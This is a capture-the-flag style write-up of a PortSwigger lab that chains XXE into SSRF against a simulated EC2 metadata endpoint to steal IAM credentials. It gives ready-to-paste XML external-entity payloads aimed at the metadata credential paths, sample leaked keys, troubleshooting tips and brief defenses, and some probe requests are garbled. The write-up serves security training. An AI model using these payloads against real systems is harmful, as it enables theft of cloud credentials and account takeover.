Exploiting XXE to perform SSRF attacks
Exploiting XXE to perform SSRF attacks: The Check stock endpoint parses XML and reflects unexpected values in the response. The lab simulates an EC2 instance metadata endpoint at http://169.254.169.254/. I’ll exploit XXE → SSRF to pull the instance’s IAM credentials from the metadata service and capture the secret access key. • PortSwigger • SSRF, XXE • ssrf, xxe
🎯 Objective
The Check stock endpoint parses XML and reflects unexpected values in the response. The lab simulates an EC2 instance metadata endpoint at http://169.254.169.254/. I’ll exploit XXE → SSRF to pull the instance’s IAM credentials from the metadata service and capture the secret access key.
🧩 What I’m exploiting
- The endpoint accepts XML and expands external entities.
- The expanded entity value is embedded in the response (in-band), so I can directly read the metadata content.
- EC2 IMDSv1 paths of interest:
http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/(lists role names)http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>(JSON with keys)
🧭 My path (what I tried and saw)
1) Sanity-check: entity reflection
I confirmed the app reflects resolved entities inside the error message.
Request (probe)
POST /product/stock HTTP/1.1
Host: 0a35007704933802c07423d2003e0013.web-security-academy.net
Content-Type: application/xml
...
]> &foo; 1Response (excerpt)
HTTP/1.1 400 Bad Request
...
"Invalid product ID: my test"Another quick probe:
]> &xxe;1Response
HTTP/1.1 400 Bad Request
...
"Invalid product ID: test me"So the parser is expanding what I reference and the app includes it in the error body — perfect for in-band data leaks.
2) Point the entity at IMDS (list IAM role name)
First fetch the role name from the security-credentials/ directory. I defined an external entity pointing at IMDS and referenced it in the XML body.
Working pattern
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY c SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
<productId>&c;</productId>
<storeId>1</storeId>
</stockCheck>Observed response (excerpt)
"Invalid product ID: meta-data"(Depending on the lab instance you often see the role name here — e.g., admin or a GUID-like value.)
3) Pull the credentials JSON for that role
After learning the role name (call it ROLE), I pointed the entity directly at the role’s JSON document:
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY c SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE">
]>
<stockCheck>
<productId>&c;</productId>
<storeId>1</storeId>
</stockCheck>Result (excerpt from my run)
{
"Code": "Success",
"LastUpdated": "2022-11-09T12:51:11.093838349Z",
"Type": "AWS-HMAC",
"AccessKeyId": "RM4Q1KELeOU27QEPfVGP",
"SecretAccessKey": "qLUfMgP2yk8SjYBDIul1TbzP972D3Q3VBcycoqOF",
"Token": "YLTbQHryrNEasMmQnf57EK3u...",
"Expiration": "2028-11-07T12:51:11.093838349Z"
}This value was reflected in the HTTP error text (e.g., "Invalid product ID: { ... }"), which is all I needed to solve the lab.
📎 Copy‑paste payloads (adapt ROLE after step 2)
List role name(s)
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY m SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck><productId>&m;</productId><storeId>1</storeId></stockCheck>Fetch credentials JSON
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY m SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE">
]>
<stockCheck><productId>&m;</productId><storeId>1</storeId></stockCheck>URL‑encoded (example)
productId=%26m%3B&storeId=1(Ensure the DOCTYPE/ENTITY is present at the top of the XML body; encode single quotes as %27 if injecting via a query string.)
🧪 Troubleshooting
- No content leaked? Some instances require the entity to be put in the field that the app echoes (often
productId). Try swapping columns or moving&m;into a different element. - Parser errors? Keep the DOCTYPE minimal; avoid stray
]>. Ensure there’s exactly oneDOCTYPEand your XML is well‑formed. - IMDSv2? The lab simulates IMDSv1 (no session token header needed). Real AWS hosts often enforce IMDSv2, which blocks this simple approach.
🔒 Defense (notes to self)
- Disable DTDs and external entities (XXE) in XML parsers; prefer safe bindings or JSON.
- Enforce strict Content‑Type validation and schemas.
- Deny egress to link-local addresses like
169.254.169.254from app tiers or proxy them through allowlists. - Add SSRF protections and metadata‑service hardening (IMDSv2 with hop‑limit).
These are my notes and exact steps I used to solve the XXE → SSRF → EC2 metadata lab. The key is that the app reflects the expanded entity, making it an in-band leak.